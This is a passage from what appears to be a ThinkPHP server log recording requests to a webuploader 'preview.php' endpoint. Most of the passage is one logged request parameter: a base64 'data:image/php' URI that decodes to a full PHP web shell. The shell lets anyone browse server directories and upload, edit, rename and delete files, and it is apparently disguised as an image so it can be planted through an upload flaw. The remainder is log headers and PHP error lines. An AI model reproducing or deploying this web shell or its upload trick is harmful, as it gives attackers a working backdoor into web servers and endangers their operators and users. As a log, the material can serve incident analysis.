'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:33+08:00 ] 116.213.36.234 POST www.51tianwei.com/include/webuploader/0.1.5/server/preview.php [运行时间:0.002543s] [吞吐率:393.24req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 